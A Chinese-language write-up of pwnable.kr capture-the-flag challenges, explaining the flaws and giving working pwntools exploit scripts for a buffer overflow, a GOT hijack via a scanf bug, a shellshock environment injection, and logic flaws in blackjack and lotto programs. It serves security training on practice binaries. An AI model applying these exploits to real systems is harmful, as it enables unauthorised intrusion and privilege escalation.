# pwnable.kr Write Up ###### tags: `CTF` ## 0. fd - 原始碼 ![](https://i.imgur.com/QmWU50m.png) - read(fd, *buf, size): - fd(file descriptor) - 0: stdin(standard input: 從鍵盤輸入) - 1: stdout - 2: stderr - 目標: 讓fd = 0,讓read可以順利再讀取"LETMEWIN"到buf中 - 使argv爲0x1234即可,轉爲十進制是4660 - atoi = 字符轉為integer - 在terminal輸入"./fd 4660"後可以再輸入一行(就是要放進buf的東西),輸入"LETMEWIN"並送出就可以獲得flag ![](https://i.imgur.com/yn9ygK3.png) ## 1. Collision - 原始碼 ![](https://i.imgur.com/3h5kcsf.png) - check_password(..20byte..): 會把20byte拆成5個int相加,只要等於hashcode(= 0x21DD09EC)就會噴flag `Note: python *-c* <command>: 表示輸入command執行後的結果` - 想法1: 0x0+0x0+0x0+0x0+0x21DD09EC - ![](https://i.imgur.com/1r2WL7D.png) - 想法2: 0x01010101 * 4 + 0x1dd90518 - ![](https://i.imgur.com/m9kvgaZ.png) - 想法1不成功的原因是因為0x00會被視為空字元,因此我們以為輸了20byte,其實只收到0x21DD09EC - EX. 實際輸入22byte,但依然會成功(因為2個0x00被視為空字元) ![](https://i.imgur.com/4iApf9g.png) ![](https://i.imgur.com/h0LUb7G.png) ## 2. bof - 原始碼 ![](https://i.imgur.com/2f26TII.png) - 只要讓key變成0xcafebabe即可: - gets()不會檢查輸入長度,有bof漏洞 - 開 gdb - 斷點下在call gets的地方候用ni,並輸入aaa...,a的ascii是61,因此知道overflowme會從0xbffff4cc開始寫 - 且0xbffff500就是0xdeadbeef位置,也就是我們要overflow成0xcafebabe的目標 ![](https://i.imgur.com/AeRaLub.png) - junk共有: 0xbffff500 - 0xbffff4cc = 0x34 == 52個byte ![](https://i.imgur.com/N5Jexrl.png) `Note: 'cat -'的作用是防止shell馬上被關掉,保持跟shell的連線` - 也可以用pwntool ```python= from pwn import * #r = process("/media/sf_CTF/pwnable.kr/bof/bof") r = remote('pwnable.kr', 9000) gdb.attach(r) r.recvuntil('overflow me :') payload = flat('A'*52, 0xcafebabe) r.sendline(payload) r.interactive() ``` ## 3.flag - 先執行一次 ![](https://i.imgur.com/eUfUHEe.png) - 題目說了這是個reverse題,所以丟進ida - shift + f12先看字串 - 看到upx...? ![](https://i.imgur.com/qzlMuSX.png) - hex裡面也可以看到這支程式被upx加殼惹 ![](https://i.imgur.com/BHzcz5D.png) - UPX是很簡單的殼,總之先脫殼(upx -d即可, -o可指定output file name) ![](https://i.imgur.com/DUW8nJI.png) - 脫殼之後的程式丟進ida就顯而易見了 ![](https://i.imgur.com/vWwIT7p.png) - sub_400320不確定是什麼就丟進gdb跑跑看(會jmp到某個offset) ![](https://i.imgur.com/ZQVrvf0.png) - 但其實沒差,點ida上的flag就可以找到flag惹 ![](https://i.imgur.com/BdnDMdP.png) ## 4.passcode - 先執行一次 ![](https://i.imgur.com/UtpNXIv.png) - 總之先把檔案從遠端載下來(scp可以幫忙 -P port no:/remote_path /local_path) ![](https://i.imgur.com/b7z894Q.png) - 原始碼 ```c= #include <stdio.h> #include <stdlib.h> void login(){ int passcode1; int passcode2; printf("enter passcode1 : "); scanf("%d", passcode1); //scanf用法錯誤,passcode前面沒有'&' fflush(stdin); // ha! mommy told me that 32bit is vulnerable to bruteforcing :) printf("enter passcode2 : "); scanf("%d", passcode2); //一樣沒有& printf("checking...\n"); if(passcode1==338150 && passcode2==13371337){ printf("Login OK!\n"); system("/bin/cat flag"); } else{ printf("Login Failed!\n"); exit(0); } } void welcome(){ char name[100]; printf("enter you name : "); scanf("%100s", name); printf("Welcome %s!\n", name); } int main(){ printf("Toddler's Secure Login System 1.0 beta.\n"); welcome(); login(); // something after login... printf("Now I can safely trust you that you have credential :)\n"); return 0; } ``` :::info 1. 第9&14行的scanf沒有&(正常應該是類似scanf('%d', &a)),也就是說scanf其實完全無法寫入passcode,而是會把指到passcode的位址上的垃圾(之前stack的殘留物)當作passcode繼續執行 2. 第17行: passcode1 = 338150 = 0x528e6 passcode2 = 13371337 = 0xcc07c9 3. 第37&38行,先執行welcome在執行login,而且中間沒有多餘的操作,也就是說,這兩個function一開始執行的**esp & ebp一樣** - welcome()執行前的esp & ebp ![](https://i.imgur.com/R1gskBW.png) - login()執行前的esp & ebp ![](https://i.imgur.com/XwN0rRH.png) ::: - 直覺想法是用welcome()寫入name的buffer來操控login的passcode值,gdb看一下會發現name會被寫在0xffffd3f8,而且可以寫100byte ![](https://i.imgur.com/fqaf5g5.png) - scanf('%d', passcode1): ebp-0x10=0xffffd458中的值會被當作passcode1要被寫入的位址,以下圖的例子就是passcode1會被寫成0xf7e4636b(這個值純粹是stack上的垃圾,所以如果這個值是不可寫的地址就會crash) ![](https://i.imgur.com/LTWUy0w.png) - 也就是說,要想辦法在welcome()去把0xffffd458蓋成0x528e6 - 同理,也要把passcode2 = ebp-0xc = 0xffffd45c蓋成0xcc07c9 - 但welcome()的name只寫100byte(0x64),蓋到passcode1需要0x60+4byte沒問題,但無法蓋到passcode2(0x60+4+4)QQ - 第一種想法行不通,但用welcome()去蓋passcode的想法應該是對的,這時check一下保護機制看有沒有啥靈感 :::info 1. Partial RELRO表示Link map不可寫,但GOT可寫 2. 有Canary, stack有開NX,表示stack無法執行shellcode 3. 沒有開PIE,表示code段跟data段固定 ::: ![](https://i.imgur.com/HwUyLJE.png) - passcode1跟2最大的區別在於scanf passcode1之後做了一個fflush(),login()裡面直接執行system("/bin/cat flag"),因為沒有PIE,所以這個system("/bin/cat flag")的位址固定 - call library時,會跳到plt,再從plt跳到GOT table中對應的位置(以下圖為例就是0x804a004) ![](https://i.imgur.com/AHNILUy.png) 也可以用objdump -R passcode查看 ![](https://i.imgur.com/jv8AI32.png) - system("/bin/cat flag")的位址用objdump查看,0x80487af是"/bin/cat flag"字串的所在位址 ![](https://i.imgur.com/TiTLMz8.png) - 目標是把fflush()在GOT的位址(0x804a004)hijack成system("/bin/cat flag")的位址(0x80485e3) - scanf("%d", passcode1)時會把ebp-0x10上的值當作輸入寫入的地方,所以在這之前(welcome()階段)要把ebp-0x10覆寫成fflush()的GOT位址 - 執行scanf(.., passcode1)時輸入0x80485e3,這樣就完成GOT的hijack(但scanf("%d"),所以要記得轉成str去放) - 最後執行到fflush()時,實際上是執行0x80485e3的指令 - sol.py ```python= from pwn import * s = ssh(host = 'pwnable.kr', user = 'passcode', port = 2222, password = 'guest') r = s.process('./passcode') #r = process("/media/sf_CTF/pwnable.kr/4_passcode/passcode") #gdb.attach(r) fflush_got = 0x804a004 sys_cat_flag = 0x80485e3 payload = flat('A'*0x60, fflush_got, str(sys_cat_flag)) r.sendline(payload) #welcome只會吃到fflush_got,str(sys_cat_flag)會被放在stdin中, #login執行scanf時不需要輸入就會直接先吃進去stdin的東西 r.interactive() ``` ![](https://i.imgur.com/2gOU2By.png) - 如果要用gdb試可以: ```bash printf 'a%.0s' {1..96} > /tmp/testing echo '\x04\xa0\x04\x08' >> /tmp/testing echo '134514147' >> /tmp/testing 再去gdb: r < /tmp/testing ``` ## 5. random - src code ```c= #include <stdio.h> int main(){ unsigned int random; random = rand(); // random value! unsigned int key=0; scanf("%d", &key); if( (key ^ random) == 0xdeadbeef ){ printf("Good!\n"); system("/bin/cat flag"); return 0; } printf("Wrong, maybe you should try 2^32 cases.\n"); return 0; } ``` - 想法: 1. 把rand()得到的值跟輸入的key做xor等於0xdeadbeef就可以得到flag 2. 漏洞在於rand()如果沒有先用srand()傳入seed(就相當於每次都是用srand(1)) **每次執行的結果其隨機數列順序會相同** ![image](https://hackmd.io/_uploads/S1kepYSVyg.png =300x) 3. 所以只要先執行一次看rand()的回傳值(rax)就可以知道random的值 再把random ^ 0xdeadbeef就是key!! - random = 0x6b8b4567 (即上面第一個產生的1804289383) - 0x6b8b4567 ^ 0xdeadbeef = 0xB526FB88 = (int)3039230856 ![](https://i.imgur.com/ZFJl6lw.png =300x) ## 6. input - input.c ```c= #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/socket.h> #include <arpa/inet.h> int main(int argc, char* argv[], char* envp[]){ printf("Welcome to pwnable.kr\n"); printf("Let's see if you know how to give input to program\n"); printf("Just give me correct inputs then you will get the flag :)\n"); // argv if(argc != 100) return 0; if(strcmp(argv['A'],"\x00")) return 0; //argv[65] if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0; //argv[66] printf("Stage 1 clear!\n"); // stdio char buf[4]; read(0, buf, 4); //stdin if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0; read(2, buf, 4); //stderr if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0; printf("Stage 2 clear!\n"); // env if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0; printf("Stage 3 clear!\n"); // file FILE* fp = fopen("\x0a", "r"); if(!fp) return 0; if( fread(buf, 4, 1, fp)!=1 ) return 0; if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0; fclose(fp); printf("Stage 4 clear!\n"); // network int sd, cd; struct sockaddr_in saddr, caddr; sd = socket(AF_INET, SOCK_STREAM, 0); if(sd == -1){ printf("socket error, tell admin\n"); return 0; } saddr.sin_family = AF_INET; saddr.sin_addr.s_addr = INADDR_ANY; saddr.sin_port = htons( atoi(argv['C']) ); if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){ printf("bind error, use another port\n"); return 1; } listen(sd, 1); int c = sizeof(struct sockaddr_in); cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c); if(cd < 0){ printf("accept error, tell admin\n"); return 0; } if( recv(cd, buf, 4, 0) != 4 ) return 0; if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0; printf("Stage 5 clear!\n"); // here's your flag system("/bin/cat flag"); return 0; } ``` - stage1 :arrow_right: argv - 通過條件 1. arg數量(argc)為100 2. argv[65] = argv['A'] = '\x00' 3. argv[66] = argv['B'] = '\x20\x0a\x0d' - 解法 ```python from pwn import * argvs = ['' for i in range(100)] argvs[0] = './input' #path argvs[65] = '\x00' #argv['A'] argvs[66] = '\x20\x0a\x0d' #argv['B'] r = process(argv = argvs) r.interactive() ``` - 執行結果 ![](https://i.imgur.com/N5XomFY.png) - stage2 :arrow_right: stdio - 通過條件 - stdin(0)裡面前4byte為\x00\x0a\x00\xff - stderr(2)裡面前4byte為\x00\x0a\x02\xff - 解法 ```python stdinfd = open('./stdin', 'w+') #w+:如果存在此檔案就寫入 不存在就創建此檔並寫入 stdinfd.write('\x00\x0a\x00\xff') stdinfd.seek(0) #移動文件讀取指針到開頭 stderrfd = open('./stderr', 'w+') stderrfd.write('\x00\x0a\x02\xff') stderrfd.seek(0) r = process(argv = argvs, stdin = stdinfd, stderr = stderrfd) ``` - 執行結果 ![](https://i.imgur.com/PfHp2nt.png) - stage3 :right_arrow: env - 通過條件 - 存在名為'\xde\xad\xbe\xef'的環境變數且值為'\xca\xfe\xba\xbe' - 解法 ```python env = {'\xde\xad\xbe\xef' : '\xca\fe\xba\xbe'} process(argv = argvs, stdin = stdinfd, stderr = stderrfd, env = env) ``` - 執行結果 ![](https://i.imgur.com/OeGEZPt.png) - stage4 :arrow_right: file - 通過條件 - 有個叫'\x0a'的檔案,前4byte為\x00\x00\x00\x00 - 解法 ```python with open('./\x0a', 'wb') as fd: fd.write('\x00\x00\x00\x00') ``` - 遇到的問題 '\x0a'在本地端無論怎麼試都無法創造這樣檔名的檔案 於是嘗試直接在input2@pwnable.kr直接試 但因為/home/input2這個資料夾被設定為不可寫... 最後只好把'\x0a'放在/tmp/test底下 也只能整個sol都改成在/tmp/test底下執行 ![](https://i.imgur.com/QuuAAAi.png) - stage5 :arrow_right: network ```c= // network int sd, cd; struct sockaddr_in saddr, caddr; sd = socket(AF_INET, SOCK_STREAM, 0); if(sd == -1){ printf("socket error, tell admin\n"); return 0; } saddr.sin_family = AF_INET; saddr.sin_addr.s_addr = INADDR_ANY; //任意本地 IP 位址 通常是0x00000000 允許伺服器接受來自所有網路介面的連線 saddr.sin_port = htons( atoi(argv['C']) ); //取argv[67]的值為port號 if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){ printf("bind error, use another port\n"); return 1; } listen(sd, 1); int c = sizeof(struct sockaddr_in); cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c); if(cd < 0){ printf("accept error, tell admin\n"); return 0; } if( recv(cd, buf, 4, 0) != 4 ) return 0; if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0; printf("Stage 5 clear!\n"); ``` - 通過條件: - 開啟一個tcp監聽port(port號由argv['c']傳入) - 向這個port發送"\xde\xad\xbe\ef" - 解法 ```python argvs[67] = 6666 ... #要先執行process()讓監聽port開啟 conn = remote('localhost', 6666) conn.sendline('\xde\xad\xbe\xef') ``` - 但因為`/tmp/test`下沒有`flag`, 因此使用軟連結將`/home/input2/flag`連結到此目錄下 `ln -s /home/input2/flag flag` - 最後結果 ![image](https://hackmd.io/_uploads/BJw6UjBE1l.png =400x) ```python= from pwn import * import os # stage 1 argvs = ['' for i in range(100)] argvs[0] = '/home/input2/input' argvs[65] = '\x00' argvs[66] = '\x20\x0a\x0d' # stage 2 r_stdin, w_stdin = os.pipe() r_stderr, w_stderr = os.pipe() os.write(w_stdin, b'\x00\x0a\x00\xff') os.write(w_stderr, b'\x00\x0a\x02\xff') # stage 3 env = {'\xde\xad\xbe\xef': '\xca\xfe\xba\xbe'} # stage 4 with open('\x0a', 'w') as f: f.write('\x00\x00\x00\x00') # stage 5 argvs[67] = '6666' r = process(argv = argvs, stdin = r_stdin, stderr = r_stderr, env = env) conn = remote('localhost', 6666) conn.sendline(b'\xde\xad\xbe\xef') r.interactive() ``` ## 7. leg - ARM指令集&THUMB指令集切換 1. ARM指令會對齊4byte, THUMB對齊2byte 2. ARM的`bx` (Branch and Exchange)指令可以執行跳轉, 如果跳轉位址LSB(least significant bit) - LSB=0 --> ARM模式 - LSB=1 --> THUMB模式 3. `blx`也可以執行跳轉,與上面不同的是, `blx`會保存return address到`LR`(Link Register)暫存器 4. ARM中有6個狀態暫存器,其中CPSR的T(Thumb)位控制模式 - 當使用`bx`或`blx`執行跳轉之後,會設置T位 - LSB=0 --> ASM模式 --> T=0 - LSB=1 --> THUMB模式 --> T=1 - ARM指令集calling convention (AAPCS) 1. 前四個參數用`r0-3`傳遞,後面的用stack 2. 返回值放在`r0` 3. SP(stack ptr)為`r13` 4. LR(link Reg)為`r14` - ARM的pipeline - 因為ARM指令地址為4byte對齊,可以用Pipeline提高執行效率 - 分成多個pipe (以4個pipe為例`fetch` --> `decode` --> `execute` --> `write`) | \時間| t5 | t4 | t3 | t2 | t1 | | ---- | ---- | ---- | ---- | ---- | ----| |指令3 (x+8)| fetch | decode | execute | | | |指令2 (x+4)| | fetch | decode | execute | | |指令1(x) | | | fetch | decode |execute | - pc指向<font color="red">fetch階段</font>的指令.因此,當指令1正在execute階段時, 此時pc應該為指令3的位址 (即實際正在的指令1的位址+8) - 分析 1. 通過條件為 `key1()+key2()+key3() == key`, 其中`key`為輸入值 2. `key1()`的asm --> `key1 = 0x8ce4` ```asm 0x00008cd4 <+0>: push {r11} ; (str r11, [sp, #-4]!) 0x00008cd8 <+4>: add r11, sp, #0 0x00008cdc <+8>: mov r3, pc ; r3 = 0x8ce4 (pc指向下2個指令地址) 0x00008ce0 <+12>: mov r0, r3 ; r0 = 0x8ce0 (note: r0為返回值) 0x00008ce4 <+16>: sub sp, r11, #0 0x00008ce8 <+20>: pop {r11} ; (ldr r11, [sp], #4) 0x00008cec <+24>: bx lr ``` 3. `key2()` --> `key2` = 0x8d0c ```asm 0x00008cf0 <+0>: push {r11} ; (str r11, [sp, #-4]!) 0x00008cf4 <+4>: add r11, sp, #0 0x00008cf8 <+8>: push {r6} ; (str r6, [sp, #-4]!) 0x00008cfc <+12>: add r6, pc, #1 ; r6 = 0x8d00+1 0x00008d00 <+16>: bx r6 ;切換成thumb模式 (LSB=1) 0x00008d04 <+20>: mov r3, pc ; r3 = 0x8d08 0x00008d06 <+22>: adds r3, #4 ; r3 = 0x8d0c 0x00008d08 <+24>: push {r3} 0x00008d0a <+26>: pop {pc} ; pc = 0x8d0c 0x00008d0c <+28>: pop {r6} ; (ldr r6, [sp], #4) 0x00008d10 <+32>: mov r0, r3 ; r0=0x8d0a 0x00008d14 <+36>: sub sp, r11, #0 0x00008d18 <+40>: pop {r11} ; (ldr r11, [sp], #4) 0x00008d1c <+44>: bx lr ``` 4. `key3()` --> `key3` = 0x8d80 ```asm 0x00008d20 <+0>: push {r11} ; (str r11, [sp, #-4]!) 0x00008d24 <+4>: add r11, sp, #0 0x00008d28 <+8>: mov r3, lr ; r3=lr=返回地址=main中bl key3的下一個指令位址=0x8d80 0x00008d2c <+12>: mov r0, r3 0x00008d30 <+16>: sub sp, r11, #0 0x00008d34 <+20>: pop {r11} ; (ldr r11, [sp], #4) 0x00008d38 <+24>: bx lr ``` 5. 因此key應該為0x8ce4+0x8d0c+0x8d80 = 0x1A770 = 108400 ![image](https://hackmd.io/_uploads/SJg-mUYByg.png =200x) ## 7. mistake - 提示為: <font color="red">Operator Priority</font> - main程式碼中這一段, 因為<font color="red">"<"的執行優先於"="</font>,因此會先執行 `open("/home/mistake/password",O_RDONLY,0400) < 0`的判斷, 而只要檔案存在, fd必定>0,因此判斷結果為false(即0) 故後續`=`行為中`fd`被賦值為0 ```c if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0) { printf("can't open password %d\n", fd); return 0; } ``` - 而`fd=0`代表為標準輸入,即由標準輸入中讀取10byte --> 因此password可控 - 分析: 後續由`xor()`程式碼分析可知為所有byte對1做xor - eg. 1111111111 ^ 0000000000 = 111111111 ![image](https://hackmd.io/_uploads/SJrHzDKH1e.png =300x) ## 8. shellshock ```c= #include <stdio.h> int main(){ setresuid(getegid(), getegid(), getegid()); setresgid(getegid(), getegid(), getegid()); system("/home/shellshock/bash -c 'echo shock_me'"); return 0; } ``` - Linux process的UID 1. ruid (real uid) : 創建該process的user id 2. euid (effective uid) : 該process的存取權限(通常=ruid) 3. suid (saved set-user-ID) : 用來保存process之前的euid,以便於改變權限之後恢復 - `!=` 文件的SUID (set user id) : 該檔案開放的存取權限 如果執行檔設置了suid,則所有user都可以透過執行這個檔案獲得root權限 - eg: `passwd`指令設置了suid (x位被設置成s), 因此當user以普通user權限執行`passwd`時, shell fork出一個subprocess, 而因為`/usr/bin/passwd`設置了suid, 因此subprocess會獲得root權限,因此可以修改`/etc/shadow`這個原本只能由root修改的檔案 ![image](https://hackmd.io/_uploads/B1fStvYHJg.png) - `setresuid()`: 在process執行過程中動態的改變process的ruid, euid, suid 1. 如果執行Process的euid為root(=0),可以設置成任何id 2. 如果執行Process的euid不是root,只能將id設置為(ruid, euid, suid其中之一) eg: 假設ruid=100, euid=300, suid=200 執行`setresuid(200, 300, 100)` --> ruid=200, euid=300, suid=100 執行`setresuid(200, 300, 400)` --> 不成功, 維持ruid=100, euid=300, suid=200 (因為400不是其中一個id) ![image](https://hackmd.io/_uploads/BJPeQdtBkx.png) - Shellshock漏洞: bash中的漏洞,可以透過bash初始化環境變數執行任意命令 - bash允許通過環境變數傳遞函數定義, <font color='red'>但並未檢查函數結束之後有無額外的指令</font> - eg. ```bash= $ export myEnv= '() { :; }; echo "Vulnerable to shellshock"' $ bash -c "echo test" # result # Vulnerable to shellshock test ``` 其中`()`表示函數開始, `{:;}`是一個空操作的函數定義 - 第二行`bash -c`會fork出一個child process, 會繼承Parent process的環境變數 - 因此當初始化環境變數時,child process會識別到`myEnv`是一個函數並嘗試解析其內容,而漏洞影響一併執行後續的惡意指令 - shellshock的修復方式: 檢查函數定義結束後是否還有額外代碼,如果有就reject其執行 - 題目分析 1. 這些檔案的權限如下,並且可以知道使用者是shellshock這個group, 不可以讀flag(因為其他人無權限) - 但同群組權限為可讀 --> 可以透過shellshock開啟 ![image](https://hackmd.io/_uploads/r1r4zKYS1l.png) 2. `shellshock.c`告訴我們當shellshock被執行時,其所有id及gid會被修改成`shellshock_pwn` (原本應該是`shellshock`) - 解法: 1. 由shellshock權限的user定義一個函數塞進環境變數, 此環境變數定義的函數功能要包含讀取flag(`cat ./flag`) 2. 當`./shellshock`時 1. shellshock的euid被設置成`shellshock_pwn` 2. 環境變數x被解析,執行後面的`/bin/cat ./flag` - note: 必須指定`cat`檔案位置不然會找不到執行檔 ![image](https://hackmd.io/_uploads/BkIKPFtHyx.png) ## 9. coin1 - `nc`連接之後是一個遊戲: - 有N枚硬幣,其中一個是假幣,要在C次秤重內找到假幣的index, 共有100輪, 需要在60秒內完成 ![image](https://hackmd.io/_uploads/HyL41UDwye.png =400x) - 使用binary search ```python= from pwn import * # r = remote('pwnable.kr', 9007) # 遠端連線發現太慢...所以用之前的憑證登入並在`/tmp`下創建資料夾並改用localhost連線 r = remote('localhost', 9007) r.recvuntil('- Ready? starting in 3 sec... -') for i in range(100): r.recvuntil('N=') inf = r.recvline().decode('utf-8').strip().split(" C=") N = int(inf[0]) C = int(inf[1]) print("[Round {}] N={}, C={}".format(i+1, N, C)) start = 0 end = N for _ in range(C): if (start == end) : print("* Correct Ans is {}".format(int(start))) break mid = (start + end)//2 idx_str = ' '.join(str(i) for i in range(start, mid+1)) r.sendline(idx_str) weight = int(r.recvline()) print("- Weight for idx from {} to {} is {}".format(start, mid, weight)) if (weight & 1 != 0): end = mid else: start = mid + 1 r.sendline(str(start)) print(r.recvline()) r.interactive() ``` ![image](https://hackmd.io/_uploads/HkQx-UPPke.png =400x) ![image](https://hackmd.io/_uploads/HJRxbUwwJe.png =300x) # 10. blackjack - 是一個blackjack遊戲, [原始碼在這](https://cboard.cprogramming.com/c-programming/114023-simple-blackjack-program.html) - 進入遊戲隨便玩一下會發現dealer同一局的total增加值經常相同 ![image](https://hackmd.io/_uploads/Bydmu8Dvke.png =200x) ![image](https://hackmd.io/_uploads/S1s4d8Dvke.png =200x) - 看原始碼發現其中產生隨機牌的`clubcard()`function中使用`srand(time(null))`來產生隨機數 - `time(null)`返回的是當前時間距離POSIX 時間(Unix Epoch)的秒數。POSIX 時間的起始點是1970 年 1 月 1 日 00:00:00(UTC),並且其<font color='red'>時間解析度只有一秒</font>(表示最小單位是一秒) - 因此在同一秒內,`time(null)`值相同,`srand()`在種子相同時會產生相同的結果,造成一秒內產生的隨機數會相同 - 問題是在玩遊戲過程中還是無法掌握正確的隨機數....而且選擇需要時間 - 題目提示: 要一百萬才可以獲得flag - 再看原始碼,發現`betting`函數中 ```c= int betting() //Asks user amount to bet { printf("\n\nEnter Bet: $"); scanf("%d", &bet); if (bet > cash) //If player tries to bet more money than player has // 問題一: 只檢查第一次 // 問題二: 如果bet是負數也可以通過檢查(這樣輸掉的時候cash-bet反而可以增加錢) { printf("\nYou cannot bet more money than you have."); printf("\nEnter Bet: "); scanf("%d", &bet); // 沒有再檢查第二次 return bet; } else return bet; } // End Function ``` - 解法1: 第一次輸入正的不合法的bet,第二次直接打1百萬,並贏得遊戲 ![image](https://hackmd.io/_uploads/H1-xyvPvJl.png =300x) - 解法2: 第一次輸入負一百萬,並直接輸掉比賽 ![image](https://hackmd.io/_uploads/SkFNxvPvJx.png =250x) ## 11. lotto - 看原始碼, 沒有考慮使用者是否輸入重複數字,因此在兌獎環節的時候,如果輸入byte全部一樣,只要有對中其中一個就可以全中 ```c= // calculate lotto score int match = 0, j = 0; for(i=0; i<6; i++){ for(j=0; j<6; j++){ if(lotto[i] == submit[j]){ match++; } } } ``` - 解法: 輸入全部一樣byte(需再1-45之間),運氣好的話幾次就中了 ```python= from pwn import * s = ssh(host = 'pwnable.kr', user = 'lotto', port = 2222, password = 'guest') r = s.process('./lotto') result = b'' for _ in range(100): r.recv() r.sendline('1') r.recv() r.sendline('++++++') r.recvline() # Lotto Start! result = r.recvline() # bad luck... or flag if (b'bad' not in result): print(result) break ``` ![image](https://hackmd.io/_uploads/r1H9idwvkx.png =400x)